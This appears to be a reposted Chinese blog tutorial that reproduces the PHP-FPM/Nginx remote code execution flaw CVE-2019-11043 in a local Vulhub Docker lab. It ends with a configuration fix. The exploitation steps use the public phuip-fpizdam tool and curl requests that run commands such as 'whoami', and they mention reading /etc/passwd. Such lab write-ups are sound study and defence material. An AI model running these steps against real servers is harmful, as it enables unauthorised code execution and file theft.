【漏洞復現】之PHP-FRM遠程代碼執行漏洞(CVE-2019-11043)復現


(本文僅為平時學習記錄,若有錯誤請大佬指出,如果本文能幫到你那我也是很開心啦)

 

該復現參考網絡中的文章,該漏洞復現僅僅是為了學習交流,嚴禁非法使用!!!

 

一、介紹

CVE-2019-11043:遠程代碼執行漏洞,使用某些特定配置的 Nginx + PHP-FPM 的服務器存在漏洞,可允許攻擊者遠程執行代碼,向Nginx + PHP-FPM的服務器 URL發送 %0a 時,服務器返回異常

  • 該漏洞需要在nginx.conf中進行特定配置才能觸發,具體配置如下
1 location ~ [^/]\.php(/|$) {
2  ...
3  fastcgi_split_path_info ^(.+?\.php)(/.*)$;
4  fastcgi_param PATH_INFO $fastcgi_path_info;
5  fastcgi_pass   php:9000;
6  ...
7 }
  • 攻擊者可以使用換行符(%0a)來破壞fastcgi_split_path_info指令中的Regexp,Regexp被損壞導致PATH_INFO為空,從而觸發該漏洞
  • 影響范圍:PHP5.6-7.x

(介紹源於http://blog.leanote.com/post/snowming/9da184ef24bd十分詳細,感謝!!!)

 

二、漏洞復現過程

1.環境准備

  • 使用之前在Kali中安裝的Docker進行復現,安裝過程請參考https://www.cnblogs.com/yankaohaitaiwei/p/11788333.htm
  • 在Kali中還需安裝工具phuip-fpizdam(在Kali中安裝該工具方便測試,這時攻擊者和靶機都是同一個Kali,如果不想攻擊者和靶機是同一個,在攻擊者主機上安裝該工具,並且攻擊者必須與靶機連通)
    • 下載phuip-fpizdam
git clone https://github.com/neex/phuip-fpizdam

    • 進入到下載好的phuip-fpizdam目錄中,可以看到有很多.go文件,說明該工具需要go語言的環境支持

    • 安裝go環境
go  查看環境中是否有go環境,有的話會返回幫助信息
apt install golang-go  安裝go
go version  查看go版本

    • 安裝phuip-fpizdam
go get -u github.com/neex/phuip-fpizdam

2.啟動Docker,進入Vulhub下的php目錄下的CVE-2019-11043中,啟動整個環境

/etc/init.d/docker start

cd vulhub-master/
cd php
cd CVE-2019-11043

docker-compose up -d

3.查看端口

docker ps  列出所有在運行的容器信息

4.根據回顯,在宿主機的瀏覽器上訪問使用Vulhub搭建好的所存有漏洞的站點

5.回到Kali,啟動工具phuip-fpizdam

1 cd go/bin
2 ./phuip-fpizdam

6.檢驗漏洞是否存在

./phuip-fpizdam http://127.0.0.1:8080/index.php

  • 根據回顯可知漏洞存在,且漏洞的利用方式也給出了

7.漏洞利用,也可將whoami換成其他命令,如:ls、cat /etc/passwd等等,這里不做過多演示

  • 更換為ifconfig命令可能不會成功,可能是Docker環境不支持ifconfig
curl "http://127.0.0.1:8080/index.php?a=whoami"
  • 如果一次運行沒有成功,多試幾次即可

 

三、修復

1.查看運行的Docker

docker ps

2.進入容器內部,並在Nginx配置文件下查找fastcgi_split_path_info

1 docker exec -it b92dfa82075b /bin/bash
2 grep -Rin --color 'fastcgi_split_path_info' /etc/nginx/

3.讀取Nginx的配置文件,找到fastcgi_split_path_info(用作URL匹配)和fastcgi_param PATH_INFO,將其注釋即可完成修復

1 cat /etc/nginx/conf.d/default.conf
2 3 curl "http://127.0.0.1:8080/index.php?=cat /etc/nginx/conf.d/default.conf"  利用漏洞

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM